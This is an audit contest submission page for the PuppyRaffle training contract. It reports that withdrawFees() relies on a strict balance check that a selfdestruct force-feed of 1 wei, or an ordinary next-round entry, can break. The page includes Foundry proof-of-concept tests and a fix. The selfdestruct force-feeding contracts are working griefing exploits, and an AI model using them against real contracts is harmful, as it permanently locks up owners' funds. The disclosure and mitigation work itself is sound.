Puppy Raffle

AI First Flight #1

Beginner FriendlyFoundrySolidityNFT

EXP

View results

Previous Next

Submission Details

Severity: medium

Valid

withdrawFees() strict balance==totalFees equality can be permanently broken by selfdestruct force-feed or normal next-round entry

comphygxp

Root + Impact

Description

withdrawFees() implicitly assumes the contract's ETH balance will only ever equal exactly the sum of unwithdrawn fees, and enforces that assumption with a strict equality check. Two independent, realistic ways break this assumption:
(a) Force-fed dust: selfdestruct bypasses receive()/fallback() entirely, so anyone can deploy a throwaway helper contract, fund it with as little as 1 wei, and selfdestruct it at the PuppyRaffle address. This permanently pushes the real balance 1 wei above totalFees, and nothing in the contract can ever move that stray wei back out.
(b) Completely ordinary next-round usage: selectWinner() resets raffleStartTime with no cooldown, so round N+1 can start immediately. If even a single legitimate player enters the next round before someone calls withdrawFees() for round N, the balance again exceeds totalFees and the call reverts - blocking withdrawal of fees that are 100% real and already earned.

function withdrawFees() external {

@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

uint256 feesToWithdraw = totalFees;

totalFees = 0;

(bool success,) = feeAddress.call{value: feesToWithdraw}("");

require(success, "PuppyRaffle: Failed to withdraw fees");

}

Risk

Likelihood:

Reason 1 // Path (a) costs an attacker only 1 wei plus gas and requires no interaction with the raffle at all - it can be done at any time, by anyone.
Reason 2 // Path (b) needs no attacker whatsoever - it is triggered by completely normal, spec-compliant usage (any player entering the very next round before fees are swept).

Impact:

Impact 1 // Legitimately earned protocol fee revenue (real ETH sitting in the contract) becomes temporarily or permanently unreachable, since withdrawFees() is the only function that can move it out.
Impact 2 // Path (a) in particular makes the lockup permanent and attacker-triggerable at will, with a cost of essentially zero.

Proof of Concept

Ran with forge test --match-path "test/PoC_4.t.sol" -vv: both [PASS] testExploit_ForceFeedEth_PermanentlyBricksWithdrawFees() and [PASS] testHonestUsage_NextRoundEntrantBlocksWithdrawFees(). The first test proves withdrawFees() succeeds in the clean state (control), then shows a selfdestruct-based force-feed of 1 wei permanently breaks it (still reverts even 365 days later). The second, independent test shows the same revert triggered purely by one ordinary player entering round 2 before round 1's fees are withdrawn - no attacker or force-feeding involved.

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";

import {PuppyRaffle} from "../src/PuppyRaffle.sol";

contract ForceFeeder {

receive() external payable {}

function attack(address payable target) external {

selfdestruct(target);

}

contract PoC_4_WithdrawFeesBalanceEquality is Test {

PuppyRaffle puppyRaffle;

uint256 entranceFee = 1e18;

uint256 duration = 1 days;

address feeAddress = address(0xFEE);

address attacker = address(0xBAD);

function setUp() public {

puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);

}

function testExploit_ForceFeedEth_PermanentlyBricksWithdrawFees() public {

address[] memory players = new address[](4);

players[0] = address(0x1);

players[1] = address(0x2);

players[2] = address(0x3);

players[3] = address(0x4);

puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

vm.warp(block.timestamp + duration + 1);

puppyRaffle.selectWinner();

uint256 feesOwed = puppyRaffle.totalFees();

assertEq(feesOwed, 0.8 ether, "sanity: fee accounting is 0.8 ETH after round 1");

assertEq(address(puppyRaffle).balance, feesOwed, "sanity: balance == totalFees");

uint256 snap = vm.snapshot();

puppyRaffle.withdrawFees();

assertEq(feeAddress.balance, feesOwed, "control: withdrawFees() succeeds with no force-feeding");

vm.revertTo(snap);

vm.deal(attacker, 1 wei);

vm.startPrank(attacker);

ForceFeeder feeder = new ForceFeeder();

(bool funded,) = address(feeder).call{value: 1 wei}("");

require(funded, "funding helper failed");

feeder.attack(payable(address(puppyRaffle)));

vm.stopPrank();

assertEq(address(puppyRaffle).balance, feesOwed + 1 wei, "balance is now totalFees + 1 wei of dust");

vm.expectRevert("PuppyRaffle: There are currently players active!");

puppyRaffle.withdrawFees();

vm.warp(block.timestamp + 365 days);

vm.expectRevert("PuppyRaffle: There are currently players active!");

puppyRaffle.withdrawFees();

assertEq(feeAddress.balance, 0, "feeAddress never receives its legitimately earned fees");

}

function testHonestUsage_NextRoundEntrantBlocksWithdrawFees() public {

address[] memory players = new address[](4);

players[0] = address(0x11);

players[1] = address(0x12);

players[2] = address(0x13);

players[3] = address(0x14);

puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

vm.warp(block.timestamp + duration + 1);

puppyRaffle.selectWinner();

uint256 feesOwed = puppyRaffle.totalFees();

assertEq(address(puppyRaffle).balance, feesOwed, "sanity: balance == totalFees after round 1");

address[] memory round2 = new address[](1);

round2[0] = address(0x21);

puppyRaffle.enterRaffle{value: entranceFee}(round2);

vm.expectRevert("PuppyRaffle: There are currently players active!");

puppyRaffle.withdrawFees();

assertGe(address(puppyRaffle).balance, feesOwed, "fee funds remain stuck in the contract");

assertEq(feeAddress.balance, 0, "feeAddress cannot withdraw its earned fees while round 2 is active");

}

Recommended Mitigation

function withdrawFees() external {

- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

uint256 feesToWithdraw = totalFees;

+ require(feesToWithdraw > 0, "PuppyRaffle: No fees to withdraw");

totalFees = 0;

(bool success,) = feeAddress.call{value: feesToWithdraw}("");

require(success, "PuppyRaffle: Failed to withdraw fees");

}

Withdraw based purely on the totalFees accounting variable instead of requiring it to exactly match the live balance. This removes both the selfdestruct force-feed griefing vector and the false dependency on no other round being active.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago

Submission Judgement Published

Validated

Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Rewards breakdown

This contest has a flat reward structure with the following payouts:

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being reviewed by our AI judge. Results will be available in a few minutes.

View all submissions

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!